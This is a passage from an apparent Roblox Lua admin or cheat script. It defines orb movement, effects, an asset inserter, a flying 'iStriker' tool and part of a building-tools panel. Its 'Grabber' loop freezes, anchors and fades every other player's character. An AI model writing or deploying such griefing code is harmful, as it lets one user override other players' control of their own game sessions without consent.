  719. end iOrb.Part=true
  720. end end else iOrb.Part=false iOrb.Orb=nil end end end))
  721. until false end))
  722.  
  723. -- Grabber --
  724.  
  725. coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Orb~=nil and iOrb.Part then
  726. for _,v in pairs(iGrb) do coroutine.resume(coroutine.create(function()
  727. if v~=game.Players.LocalPlayer then
  728. if v.Character~=nil then
  729. if v.Character:FindFirstChild("Torso") then
  730. v.Character.Torso.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Orb.CFrame.lookVector*1000)
  731. v.Character.Torso.Anchored=true
  732. end
  733. if v.Character:FindFirstChild("Humanoid") then
  734. v.Character.Humanoid.WalkSpeed=0
  735. v.Character.Humanoid.PlatformStand=true
  736. end
  737. function getParts(path)
  738. for _,pl in pairs(path:GetChildren())do
  739. if pl:IsA("BasePart") or v:IsA("Decal") then
  740. pl.Transparency=.65
  741. end getParts(pl)
  742. end
  743. end getParts(v.Character)
  744. end
  745. end
  746. end)) end
  747. end until false end))
  748.  
  749. -- Hint Commands Function --
  750.  
  751. function iHintCmd(string)
  752. for index,v in pairs(iCmd) do if string~=nil and string~="" then if tostring(index):lower():find(string:lower()) then
  753. table.insert(iAll,tostring(index))
  754. end elseif string==nil or string=="" then table.insert(iAll,tostring(index)) end end
  755. for index,v in pairs(iStr) do if string~=nil and string~="" then if tostring(index):lower():find(string) then
  756. table.insert(iAll,tostring(index))
  757. end elseif string==nil or string=="" then table.insert(iAll,tostring(index)) end end
  758. for index,v in pairs(iVal) do if string~=nil and string~="" then if tostring(index):lower():find(string) then
  759. table.insert(iAll,tostring(index))
  760. end elseif string==nil or string=="" then table.insert(iAll,tostring(index)) end end
  761. iOrb.runmsg=true iTypeMsg(#iAll.." command(s) found.",2)
  762. for _,v in pairs(iAll) do if not iOrb.runmsg then break end
  763. iTypeMsg(v..":",1)
  764. end iOrb.runmsg=false
  765. for i = #iAll, 1, -1 do
  766. table.remove(iAll,i)
  767. end
  768. end
  769.  
  770. -- Hint Gears Name Function --
  771.  
  772. function iHintTools(string)
  773. for index,v in pairs(iBuild) do if string~=nil and string~="" then if tostring(index):lower():find(string:lower()) then
  774. table.insert(iTls,tostring(index).." ( Building tool )")
  775. end elseif string==nil or string=="" then table.insert(iTls,tostring(index)) end end
  776. for index,v in pairs(iGears) do if string~=nil and string~="" then if tostring(index):lower():find(string) then
  777. table.insert(iTls,tostring(index).." ( Gear tool )")
  778. end elseif string==nil or string=="" then table.insert(iTls,tostring(index)) end end
  779. iOrb.runmsg=true iTypeMsg(#iTls.." tool(s) found.",2)
  780. for _,v in pairs(iTls) do if not iOrb.runmsg then break end
  781. iTypeMsg(v,1)
  782. end iOrb.runmsg=false
  783. for i = #iTls, 1, -1 do
  784. table.remove(iTls,i)
  785. end
  786. end
  787.  
  788. -- Orbed --
  789.  
  790. coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Orbed==true then iOrb.Move=false iOrb.Player.Character=nil
  791. if iOrb.OrbParent~=nil and game.Workspace.CurrentCamera~=nil and iOrb.Part and iOrb.Orb~=nil then iOrb.BaseX=-1.5 iOrb.BaseY=-1.5 iOrb.BaseZ=6
  792. iOrb.Orb.CFrame=CFrame.new(game.Workspace.CurrentCamera.CoordinateFrame.p,game.Workspace.CurrentCamera.CoordinateFrame.lookVector*10000)*CFrame.new(Vector3.new(iOrb.BaseX,iOrb.BaseY,-iOrb.BaseZ))
  793. end
  794. end until false end))
  795.  
  796. -- Trail --
  797.  
  798. coroutine.resume(coroutine.create(function() repeat wait(.035)
  799. if iOrb.Orb~=nil and iOrb.LoadAnimation then
  800. if iOrb.Trail then
  801. coroutine.resume(coroutine.create(iTrailCreation))
  802. else for _,v in pairs(iOrb.Orb.Parent:GetChildren())do if v.Name=="cTrail" and v:IsA("BasePart") then v:remove() end end end
  803. end
  804. until false end))
  805.  
  806. -- Particles --
  807.  
  808. coroutine.resume(coroutine.create(function() repeat wait(.1)
  809. if iOrb.Orb~=nil and iOrb.LoadAnimation then
  810. if iOrb.Particles then
  811. coroutine.resume(coroutine.create(iParticlesCreation),iOrb.Orb.CFrame.p,iOrb.PDist)
  812. else for _,v in pairs(iOrb.Orb.Parent:GetChildren())do if v.Name=="cParticle" and v:IsA("BasePart") then v:remove() end end end
  813. end
  814. until false end))
  815.  
  816. -- Properties Loops --
  817.  
  818. coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Orb~=nil and iOrb.Part then
  819. iOrb.Orb.Locked=true
  820. iOrb.Orb.Anchored=true
  821. iOrb.Orb.CanCollide=false end
  822. if iOrb.OrbTorso~=nil then
  823. iOrb.OrbTorso.Anchored=false
  824. iOrb.OrbTorso.Locked=true
  825. iOrb.OrbTorso.CanCollide=false
  826. end
  827. if iOrb.Model~=nil then
  828. iOrb.Model.Archivable=false
  829. end
  830. until false end))
  831.  
  832. -- Color Change --
  833.  
  834. coroutine.resume(coroutine.create(function() repeat wait(.5)
  835. if iOrb.Orb~=nil and iOrb.Part then
  836. for i=iOrb.ColorOne,iOrb.ColorTwo,iOrb.ColorChangeSpeed/255 do wait()
  837. if iOrb.Orb~=nil and iOrb.Part then
  838. if iOrb.ColorChange and iOrb.Part and iOrb.Orb~=nil then
  839. iOrb.Orb.Color=Color3.new(i,i-15/255,i)
  840. end
  841. if iOrb.Fire~=nil then
  842. if iOrb.Fire.Enabled then
  843. if iOrb.FireColorChange then
  844. iOrb.Fire.Color=Color3.new(1-i,1-i,1-i)
  845. iOrb.Fire.SecondaryColor=Color3.new(i,i,i)
  846. end
  847. end
  848. end
  849. end
  850. end wait(.5)
  851. for i=iOrb.ColorTwo,iOrb.ColorOne,-iOrb.ColorChangeSpeed/255 do wait()
  852. if iOrb.Orb~=nil and iOrb.Part then
  853. if iOrb.ColorChange and iOrb.Part and iOrb.Orb~=nil then
  854. iOrb.Orb.Color=Color3.new(i,i-15/255,i)
  855. end
  856. if iOrb.Fire~=nil then
  857. if iOrb.Fire.Enabled then
  858. if iOrb.FireColorChange then
  859. iOrb.Fire.Color=Color3.new(1-i,1-i,1-i)
  860. iOrb.Fire.SecondaryColor=Color3.new(i,i,i)
  861. end
  862. end
  863. end
  864. end
  865. end
  866. end
  867. until false end))
  868.  
  869. -- ID Inserter --
  870.  
  871. function iInsertool(player,id) if player~=nil and id~=nil then game:GetService("InsertService"):ApproveAssetId(id)
  872. local insrt = game:GetService("InsertService"):LoadAsset(id)
  873. for _, v in pairs(insrt:GetChildren()) do
  874. if player:FindFirstChild("Backpack") then v:Clone().Parent = player:FindFirstChild("Backpack")
  875. else local bpk=Instance.new("Backpack",player) v:Clone().Parent = bpk end
  876. end end end
  877.  
  878. -- Orb Torso Motor and Transparency --
  879.  
  880. coroutine.resume(coroutine.create(function() repeat wait()
  881. if iOrb.Orb~=nil and iOrb.OrbTorso~=nil then
  882. iOrb.OrbTorso.Transparency = 1
  883. iOrb.OrbTorso.Reflectance = 1
  884. if not iOrb.OrbTorso:FindFirstChild("Neck") then
  885. local motor = Instance.new("Motor6D",iOrb.OrbTorso)
  886. motor.Name = "Neck"
  887. motor.Part0 = iOrb.OrbTorso
  888. motor.Part1 = iOrb.Orb
  889. end
  890. if iOrb.OrbTorso:FindFirstChild("Neck") then
  891. local motor = iOrb.OrbTorso.Neck
  892. motor.Part0 = iOrb.Orb
  893. motor.Part1 = iOrb.OrbTorso
  894. end
  895. end
  896. until false end))
  897.  
  898. -- Rotation and Levitation --
  899.  
  900. coroutine.resume(coroutine.create(function() local i=1 repeat wait()
  901. if iOrb.Turn then
  902. if iOrb.RotSpeed > 0 then
  903. if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
  904. if i==360 then i=1 end
  905. iOrb.Orb.CFrame=CFrame.new(iOrb.Torso.CFrame.p)*CFrame.new(Vector3.new(iOrb.BaseX*math.cos(math.rad(i)),iOrb.LeviY,iOrb.BaseX*math.sin(math.rad(i))))
  906. iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
  907. if i+iOrb.RotSpeed > 360 then i=360 else i=i+iOrb.RotSpeed end
  908. end
  909. elseif iOrb.RotSpeed < 0 then
  910. if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
  911. if i==360 then i=1 end
  912. iOrb.Orb.CFrame=CFrame.new(iOrb.Torso.CFrame.p)*CFrame.new(Vector3.new(iOrb.BaseX*math.cos(-math.rad(i)),iOrb.LeviY,iOrb.BaseX*math.sin(-math.rad(i))))
  913. iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
  914. if i-iOrb.RotSpeed > 360 then i=360 else i=i-iOrb.RotSpeed end
  915. end
  916. elseif iOrb.RotSpeed==0 then
  917. if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
  918. iOrb.Orb.CFrame=iOrb.Torso.CFrame*CFrame.new(Vector3.new(iOrb.BaseX,iOrb.LeviY,-iOrb.BaseZ))
  919. iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
  920. end
  921. end
  922. else if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
  923. iOrb.Orb.CFrame=iOrb.Torso.CFrame*CFrame.new(Vector3.new(iOrb.BaseX,iOrb.LeviY,-iOrb.BaseZ))
  924. iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
  925. end end
  926. until false end))
  927.  
  928. -- Levitation Values --
  929.  
  930. coroutine.resume(coroutine.create(function() repeat
  931. if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
  932. function leviUp(n,n2)
  933. for i=iOrb.BaseY,iOrb.BaseY+iOrb.LeviRise*n,iOrb.LeviSpeed*n2 do
  934. wait()iOrb.LeviY=i
  935. end
  936. end
  937. function leviDown(n,n2)
  938. for i=iOrb.BaseY+iOrb.LeviRise*n,iOrb.BaseY,iOrb.LeviSpeed*n2 do
  939. wait()iOrb.LeviY=i
  940. end
  941. end
  942. leviUp(1,1)wait(.05)leviDown(1,-1)leviUp(-1,-1)wait(.05)leviDown(-1,1)
  943. else wait(.1) end
  944. until false end))
  945.  
  946. -- iStriker Function v1 --
  947.  
  948. function iStriker()
  949.  
  950. local player = game:GetService("Players").LocalPlayer
  951.  
  952. local bin = Instance.new("HopperBin", player.Backpack)
  953.  
  954. bin.Name = "iStriker unit"
  955.  
  956. local camera = game:GetService("Workspace").CurrentCamera
  957. local character = player.Character
  958.  
  959. local torso = character:FindFirstChild("Torso")
  960. local humanoid = character:FindFirstChild("Humanoid")
  961. local neck = torso:FindFirstChild("Neck")
  962.  
  963. local rightLeg = character:FindFirstChild("Right Leg")
  964. local leftLeg = character:FindFirstChild("Left Leg")
  965.  
  966. local rightHip = torso:FindFirstChild("Right Hip")
  967. local leftHip = torso:FindFirstChild("Left Hip")
  968.  
  969. local neckAngle = neck.C1
  970. local rightHipAngle = rightHip.C1
  971. local leftHipAngle = leftHip.C1
  972.  
  973. local leftWeld = Instance.new("Weld")
  974. local rightWeld = Instance.new("Weld")
  975.  
  976. local velocity = Instance.new("BodyVelocity")
  977. local gyro = Instance.new("BodyGyro")
  978. local pos = Instance.new("BodyPosition")
  979.  
  980. local parts = {"StrikerOne", "StrikerTwo", "JointOne", "JointTwo", "PropellerOne", "PropellerTwo"}
  981. local welds = {"SWelderOne", "SWelderTwo", "JWelderOne", "JWelderTwo", "PWelderOne", "PWelderTwo"}
  982.  
  983. local strikerColor = "Really black"
  984. local propellerColor = "White"
  985. local jointColor = "Bright green"
  986.  
  987. local mainModel = Instance.new("Model")
  988. local cframePart = Instance.new("Part")
  989.  
  990. local toolSelected = false
  991. local runNext = false
  992. local strikerLoaded = false
  993. local connected = false
  994. local turn = false
  995. local forward = false
  996. local backward = false
  997. local onleft = false
  998. local onright = false
  999. local onup = false
  1000. local ondown = false
  1001.  
  1002. local gyroAngleX = 0
  1003. local desiredGyroAngleX = 0
  1004. local gyroAngleY = 0
  1005. local desiredGyroAngleY = 0
  1006. local gyroAngleZ = 0
  1007. local desiredGyroAngleZ = 0
  1008. local angleSetSpeed = 5
  1009. local rotationIndice = 0
  1010. local maxRotation = 70
  1011. local motorSpeed = 0
  1012. local desiredSpeed = 0
  1013. local xPartPos = 0
  1014. local desiredXPartPos = 0
  1015. local yPartPos = 0
  1016. local desiredYPartPos = 0
  1017.  
  1018. function Strk(delay)
  1019.  
  1020. wait(delay)
  1021.  
  1022. mainModel.Name = "Striker"
  1023. mainModel.Archivable = false
  1024. mainModel.Parent = character
  1025.  
  1026. for index, name in pairs(parts) do
  1027.  
  1028. getfenv()[name] = Instance.new("Part")
  1029. getfenv()[name].Name = name
  1030. getfenv()[name].Anchored = true
  1031. getfenv()[name].Locked = true
  1032. getfenv()[name].CanCollide = false
  1033. getfenv()[name].Transparency = 1
  1034. getfenv()[name].CFrame = CFrame.new(0, math.huge, 0)
  1035. getfenv()[name].FormFactor = Enum.FormFactor.Custom
  1036. getfenv()[name].BottomSurface = Enum.SurfaceType.Smooth
  1037. getfenv()[name].TopSurface = Enum.SurfaceType.Smooth
  1038.  
  1039. if index <= 2 then
  1040.  
  1041. getfenv()[name].BrickColor = BrickColor.new(strikerColor)
  1042. getfenv()[name].Size = Vector3.new(1.1, 1.5, 1.1)
  1043.  
  1044. elseif index == 3 or index == 4 then
  1045.  
  1046. getfenv()[name].BrickColor = BrickColor.new(jointColor)
  1047. getfenv()[name].Size = Vector3.new(0.25, 0.25, 0.25)
  1048.  
  1049. elseif index >= 5 then
  1050.  
  1051. getfenv()[name].BrickColor = BrickColor.new(propellerColor)
  1052. getfenv()[name].Size = Vector3.new(1.55, 0.2, 0.2)
  1053.  
  1054. end
  1055.  
  1056. getfenv()[name].Parent = mainModel
  1057.  
  1058. coroutine.resume(coroutine.create(function()
  1059.  
  1060. for i = getfenv()[name].Transparency, 0, -0.1 do
  1061.  
  1062. if toolSelected then wait() getfenv()[name].Transparency = i end
  1063.  
  1064. end
  1065.  
  1066. end))
  1067.  
  1068. end
  1069.  
  1070. for index, name in pairs(welds) do
  1071.  
  1072. getfenv()[name] = Instance.new("Weld")
  1073. getfenv()[name].Parent = mainModel
  1074. getfenv()[name].Name = name
  1075.  
  1076. if index == 1 then
  1077.  
  1078. getfenv()[name].Part0 = leftLeg
  1079. StrikerOne.Anchored = false
  1080. getfenv()[name].Part1 = StrikerOne
  1081. getfenv()[name].C1 = CFrame.new(0, 0.35, 0)
  1082.  
  1083. elseif index == 2 then
  1084.  
  1085. getfenv()[name].Part0 = rightLeg
  1086. StrikerTwo.Anchored = false
  1087. getfenv()[name].Part1 = StrikerTwo
  1088. getfenv()[name].C1 = CFrame.new(0, 0.35, 0)
  1089.  
  1090. elseif index == 3 then
  1091.  
  1092. getfenv()[name].Part0 = StrikerOne
  1093. JointOne.Anchored = false
  1094. getfenv()[name].Part1 = JointOne
  1095. getfenv()[name].C1 = CFrame.new(0, 0.775, 0)
  1096. JointOne.CanCollide = true
  1097.  
  1098. elseif index == 4 then
  1099.  
  1100. getfenv()[name].Part0 = StrikerTwo
  1101. JointTwo.Anchored = false
  1102. getfenv()[name].Part1 = JointTwo
  1103. getfenv()[name].C1 = CFrame.new(0, 0.775, 0)
  1104. JointTwo.CanCollide = true
  1105.  
  1106. elseif index == 5 then
  1107.  
  1108. getfenv()[name].Part0 = JointOne
  1109. PropellerOne.Anchored = false
  1110. getfenv()[name].Part1 = PropellerOne
  1111.  
  1112. elseif index == 6 then
  1113.  
  1114. getfenv()[name].Part0 = JointTwo
  1115. PropellerTwo.Anchored = false
  1116. getfenv()[name].Part1 = PropellerTwo
  1117.  
  1118. end
  1119.  
  1120. end
  1121.  
  1122. wait(0.1)
  1123.  
  1124. strikerLoaded = true
  1125.  
  1126. end
  1127.  
  1128. function Connection(mouse)
  1129.  
  1130. toolSelected = true
  1131.  
  1132. coroutine.resume(coroutine.create(function() repeat wait()
  1133.  
  1134. if toolSelected then
  1135.  
  1136. if leftHip ~= nil then
  1137.  
  1138. leftHip.DesiredAngle = 0
  1139. leftHip.CurrentAngle = 0
  1140.  
  1141. end
  1142.  
  1143. if rightHip ~= nil then
  1144.  
  1145. rightHip.DesiredAngle = 0
  1146. rightHip.CurrentAngle = 0
  1147.  
  1148. end
  1149.  
  1150. runNext = true
  1151.  
  1152. else break end
  1153.  
  1154. until false return false end))
  1155.  
  1156. repeat wait() until runNext
  1157.  
  1158. humanoid.PlatformStand = true
  1159.  
  1160. torso.Anchored = true wait()
  1161. torso.Velocity = Vector3.new(0, 0, 0)
  1162. torso.RotVelocity = Vector3.new(0, 0, 0)
  1163.  
  1164. leftHipAngle = leftHip.C1
  1165. rightHipAngle = rightHip.C1
  1166.  
  1167. pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  1168. pos.Parent = torso
  1169. pos.position = torso.CFrame.p
  1170.  
  1171. torso.Anchored = false
  1172.  
  1173. coroutine.resume(coroutine.create(Strk),0.2)
  1174.  
  1175. for i = 1, 20, 1 do wait()
  1176.  
  1177. if toolSelected then
  1178.  
  1179. pos.position = pos.position + Vector3.new(0, 0.2, 0)
  1180. torso.CFrame = torso.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(18), 0)
  1181. humanoid.PlatformStand = true
  1182.  
  1183. leftHip.C1 = leftHip.C1 * CFrame.new(0, -0.01, 0) * CFrame.fromEulerAnglesXYZ(math.rad(0.5), -math.rad(0.5), -math.rad(0.5))
  1184. rightHip.C1 = rightHip.C1 * CFrame.new(0, -0.01, 0) * CFrame.fromEulerAnglesXYZ(math.rad(0.5), math.rad(0.5), math.rad(0.5))
  1185.  
  1186. end
  1187.  
  1188. end
  1189.  
  1190. local x22, y22, z22 = leftHip.C1:toEulerAnglesXYZ()
  1191.  
  1192. repeat wait() until strikerLoaded
  1193.  
  1194. gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  1195. gyro.Parent = torso
  1196. gyro.P = 1500
  1197.  
  1198. velocity.Parent = torso
  1199. velocity.maxForce = Vector3.new(5500, 5500, 5500)
  1200. velocity.P = 100
  1201.  
  1202. if pos ~= nil then if pos.Parent == torso then pos:remove() end end
  1203.  
  1204. coroutine.resume(coroutine.create(function()
  1205.  
  1206. while strikerLoaded do wait(0.03405) if toolSelected and rotationIndice < maxRotation then rotationIndice = rotationIndice + 0.25
  1207.  
  1208. if desiredSpeed ~= 0 then if desiredSpeed > 0 then motorSpeed = desiredSpeed - (maxRotation - rotationIndice) elseif desiredSpeed < 0 then motorSpeed = desiredSpeed + (maxRotation - rotationIndice) end else motorSpeed = 0 end
  1209. if desiredXPartPos ~= 0 then if desiredXPartPos > 0 then xPartPos = desiredXPartPos - (maxRotation/2 - rotationIndice/2) elseif desiredXPartPos < 0 then xPartPos = desiredXPartPos + (maxRotation/2 - rotationIndice/2) end else xPartPos = 0 end
  1210. if desiredYPartPos ~= 0 then if desiredYPartPos > 0 then yPartPos = desiredYPartPos - (maxRotation/2 - rotationIndice/2) elseif desiredYPartPos < 0 then yPartPos = desiredYPartPos + (maxRotation/2 - rotationIndice/2) end else yPartPos = 0 end
  1211.  
  1212. if desiredGyroAngleX ~= 0 then if desiredGyroAngleX > 0 then gyroAngleX = math.rad(desiredGyroAngleX - (maxRotation - rotationIndice)) elseif desiredGyroAngleX < 0 then gyroAngleX = math.rad(desiredGyroAngleX + (maxRotation - rotationIndice)) end else gyroAngleX = 0 end
  1213. if desiredGyroAngleY ~= 0 then if desiredGyroAngleY > 0 then gyroAngleY = math.rad(desiredGyroAngleY - (maxRotation - rotationIndice)) elseif desiredGyroAngleY < 0 then gyroAngleY = math.rad(desiredGyroAngleY + (maxRotation - rotationIndice)) end else gyroAngleY = 0 end
  1214. if desiredGyroAngleZ ~= 0 then if desiredGyroAngleZ > 0 then gyroAngleZ = math.rad(desiredGyroAngleZ - (maxRotation - rotationIndice)) elseif desiredGyroAngleZ < 0 then gyroAngleZ = math.rad(desiredGyroAngleZ + (maxRotation - rotationIndice)) end else gyroAngleZ = 0 end
  1215.  
  1216. elseif toolSelected and rotationIndice == maxRotation then humanoid.PlatformStand = true motorSpeed = desiredSpeed gyroAngleX = math.rad(desiredGyroAngleX) gyroAngleY = math.rad(desiredGyroAngleY) gyroAngleZ = math.rad(desiredGyroAngleZ) xPartPos = desiredXPartPos yPartPos = desiredYPartPos end
  1217.  
  1218. if PropellerOne ~= nil and PWelderOne ~= nil then
  1219.  
  1220. PWelderOne.C1 = PWelderOne.C1 * CFrame.fromEulerAnglesXYZ(0, -math.rad(rotationIndice), 0)
  1221.  
  1222. end
  1223.  
  1224. if PropellerTwo ~= nil and PWelderTwo ~= nil then
  1225.  
  1226. PWelderTwo.C1 = PWelderTwo.C1 * CFrame.fromEulerAnglesXYZ(0, math.rad(rotationIndice), 0)
  1227.  
  1228. end
  1229.  
  1230. if cframePart ~= nil then
  1231.  
  1232. cframePart.Size = Vector3.new(0.2, 0.2, 0.2)
  1233. cframePart.CFrame = CFrame.new(torso.CFrame.p, camera.CoordinateFrame.lookVector * 10000000) + Vector3.new(xPartPos, yPartPos, 0)
  1234.  
  1235. end
  1236.  
  1237. if velocity ~= nil then if velocity.Parent == torso then velocity.velocity = (cframePart.CFrame - cframePart.CFrame.p) * Vector3.new(xPartPos, yPartPos, -motorSpeed) end end
  1238. if gyro ~= nil then if gyro.Parent == torso then gyro.cframe = CFrame.new(gyro.cframe.p, camera.CoordinateFrame.lookVector * 10000000) * CFrame.fromEulerAnglesXYZ(gyroAngleX, gyroAngleY, gyroAngleZ) end end
  1239.  
  1240. end return
  1241.  
  1242. end)) connected = true stand = true
  1243.  
  1244. mouse.KeyDown:connect(function(key) key = key:lower()
  1245.  
  1246. if key == "w" then ForwardDown()
  1247. elseif key == "s" then BackwardDown()
  1248. elseif key == "a" then LeftDown()
  1249. elseif key == "d" then RightDown()
  1250. elseif key == "e" then UpDown()
  1251. elseif key == "q" then DownDown()
  1252.  
  1253. end end)
  1254.  
  1255. mouse.KeyUp:connect(function(key) key = key:lower()
  1256.  
  1257. if key == "w" then ForwardUp() if backward then BackwardDown() end
  1258. elseif key == "s" then BackwardUp() if forward then ForwardDown() end
  1259. elseif key == "a" then LeftUp() if onright then RightDown() end
  1260. elseif key == "d" then RightUp() if onleft then LeftDown() end
  1261. elseif key == "e" then UpUp() if ondown then DownDown() end
  1262. elseif key == "q" then DownUp() if onup then UpDown() end
  1263.  
  1264. end end)
  1265.  
  1266. end
  1267.  
  1268. function Disconnection()
  1269.  
  1270. toolSelected = false wait()
  1271.  
  1272. for index, name in pairs(parts) do
  1273.  
  1274. if getfenv()[name] ~= nil then
  1275.  
  1276. coroutine.resume(coroutine.create(function()
  1277.  
  1278. for i = getfenv()[name].Transparency, 1, 0.1 do wait()
  1279.  
  1280. getfenv()[name].Transparency = i
  1281.  
  1282. end
  1283.  
  1284. end))
  1285.  
  1286. end
  1287.  
  1288. end
  1289.  
  1290. pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  1291. pos.Parent = torso
  1292. pos.position = torso.CFrame.p
  1293.  
  1294. coroutine.resume(coroutine.create(Strk),0.2)
  1295.  
  1296. for i = 1, 10, 1 do wait()
  1297.  
  1298. pos.position = pos.position - Vector3.new(0, 0.15, 0)
  1299. humanoid.PlatformStand = true
  1300.  
  1301. leftHip.C1 = leftHip.C1 * CFrame.new(0, 0.02, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-1), -math.rad(-1), -math.rad(-1))
  1302. rightHip.C1 = rightHip.C1 * CFrame.new(0, 0.02, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-1), math.rad(-1), math.rad(-1))
  1303.  
  1304. end wait()
  1305.  
  1306. humanoid.PlatformStand = false
  1307.  
  1308. if pos ~= nil then if pos.Parent == torso then pos:remove() end end
  1309. if gyro ~= nil then if gyro.Parent == torso then gyro:remove() end end
  1310. if velocity ~= nil then if velocity.Parent == torso then velocity:remove() end end
  1311. if mainModel ~= nil then mainModel:remove() end
  1312.  
  1313. strikerLoaded = false
  1314. rotationIndice = 0
  1315. motorSpeed = 0
  1316. desiredSpeed = 0
  1317.  
  1318. ForwardUp()
  1319. BackwardUp()
  1320. LeftUp()
  1321. RightUp()
  1322.  
  1323. forward = false
  1324. backward = false
  1325. onleft = false
  1326. onright = false
  1327. onup = false
  1328. ondown = false
  1329.  
  1330. leftHip.C1 = leftHipAngle
  1331. rightHip.C1 = rightHipAngle
  1332.  
  1333. connected = false
  1334.  
  1335. end
  1336.  
  1337. function ForwardDown() forward = true
  1338.  
  1339. desiredGyroAngleX = -maxRotation
  1340. desiredSpeed = maxRotation
  1341.  
  1342. end
  1343.  
  1344. function BackwardDown() backward = true
  1345.  
  1346. desiredGyroAngleX = maxRotation
  1347. desiredSpeed = -maxRotation
  1348.  
  1349. end
  1350.  
  1351. function ForwardUp() forward = false
  1352.  
  1353. desiredGyroAngleX = 0
  1354. desiredSpeed = 0
  1355.  
  1356. end
  1357.  
  1358. function BackwardUp() backward = false
  1359.  
  1360. desiredGyroAngleX = 0
  1361. desiredSpeed = 0
  1362.  
  1363. end
  1364.  
  1365. function LeftDown() onleft = true
  1366.  
  1367. desiredGyroAngleY = -maxRotation
  1368. desiredXPartPos = -maxRotation/2
  1369.  
  1370. end
  1371.  
  1372. function RightDown() onright = true
  1373.  
  1374. desiredGyroAngleY = maxRotation
  1375. desiredXPartPos = maxRotation/2
  1376.  
  1377. end
  1378.  
  1379. function LeftUp() onleft = false
  1380.  
  1381. desiredGyroAngleY = 0
  1382. desiredXPartPos = 0
  1383.  
  1384. end
  1385.  
  1386. function RightUp() onright = false
  1387.  
  1388. desiredGyroAngleY = 0
  1389. desiredXPartPos = 0
  1390.  
  1391. end
  1392.  
  1393. function UpDown() onup = true
  1394.  
  1395. desiredYPartPos = maxRotation/2
  1396.  
  1397. end
  1398.  
  1399. function DownDown() ondown = true
  1400.  
  1401. desiredYPartPos = -maxRotation/2
  1402.  
  1403. end
  1404.  
  1405. function UpUp() onup = false
  1406.  
  1407. desiredYPartPos = 0
  1408.  
  1409. end
  1410.  
  1411. function DownUp() ondown = false
  1412.  
  1413. desiredYPartPos = 0
  1414.  
  1415. end
  1416.  
  1417.  
  1418. bin.Selected:connect(Connection)
  1419. bin.Deselected:connect(Disconnection)
  1420.  
  1421. end
  1422.  
  1423. -- iBTool Function v2 --
  1424.  
  1425. function iCreateBtools()
  1426. plr=iOrb.Player
  1427. if plr:FindFirstChild("PlayerGui") then plg=plr.PlayerGui else return end
  1428. bin=Instance.new("HopperBin",plr:FindFirstChild("Backpack"))
  1429. bin.Name="iBTools"
  1430. bin.Selected:connect(function(mouse)
  1431. box=Instance.new("SelectionBox")
  1432. lso=Instance.new("SelectionPointLasso")
  1433. lso.Visible=false
  1434. coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Humanoid~=nil then
  1435. lso.Humanoid=iOrb.Humanoid end until false end))
  1436. md1=1
  1437. md2=1
  1438. md3=1
  1439. clr=true
  1440. ste=false
  1441. lvi=false
  1442. cle=false
  1443. tme=.5
  1444. function createGui()
  1445. gui=Instance.new("ScreenGui",plg)
  1446. gui.Name="iBGui"
  1447. --PanelGUI--
  1448. frm=Instance.new("Frame",gui)
  1449. frm.Visible=false
  1450. frm.Name="iBPanel"
  1451. frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)
  1452. frm.Size=UDim2.new(0.150000006,0,0.400000006,0)
  1453. frm.Style="RobloxRound"
  1454. frm.ZIndex=8
  1455. lab=Instance.new("TextLabel",frm)
  1456. lab.Name="iBTitle"
  1457. lab.BackgroundTransparency=1
  1458. lab.Size=UDim2.new(1,0,0.150000006,0)
  1459. lab.ZIndex=9
  1460. lab.Font="ArialBold"
  1461. lab.FontSize="Size18"
  1462. lab.Text="iBuildTools Panel"
  1463. lab.TextColor3=Color3.new(1,1,1)
  1464. lab.TextStrokeTransparency=0
  1465. lab.TextStrokeColor3=Color3.new(0,0,0)
  1466. del=Instance.new("TextButton",frm)
  1467. del.Name="iBDelete"
  1468. del.BackgroundTransparency=1
  1469. del.Position=UDim2.new(0,0,0.200000003,0)
  1470. del.Size=UDim2.new(1,0,0.119999997,0)
  1471. del.Style="RobloxButtonDefault"
  1472. del.ZIndex=9
  1473. del.Font="ArialBold"
  1474. del.FontSize="Size12"
  1475. del.Text="Delete"
  1476. del.TextColor3=Color3.new(1,1,1)
  1477. del.Selected=true
  1478. ach=Instance.new("TextButton",frm)
  1479. ach.Name="iBAnchor"
  1480. ach.BackgroundTransparency=1
  1481. ach.Position=UDim2.new(0,0,0.330000013,0)
  1482. ach.Size=UDim2.new(1,0,0.119999997,0)
  1483. ach.Style="RobloxButton"
  1484. ach.ZIndex=9
  1485. ach.Font="ArialBold"
  1486. ach.FontSize="Size12"
  1487. ach.Text="Anchor"
  1488. ach.TextColor3=Color3.new(1,1,1)
  1489. col=Instance.new("TextButton",frm)
  1490. col.Name="iBCanCollide"
  1491. col.BackgroundTransparency=1
  1492. col.Position=UDim2.new(0,0,0.460000008,0)
  1493. col.Size=UDim2.new(1,0,0.119999997,0)
  1494. col.Style="RobloxButton"
  1495. col.ZIndex=9
  1496. col.Font="ArialBold"
  1497. col.FontSize="Size12"
  1498. col.Text="CanCollide"
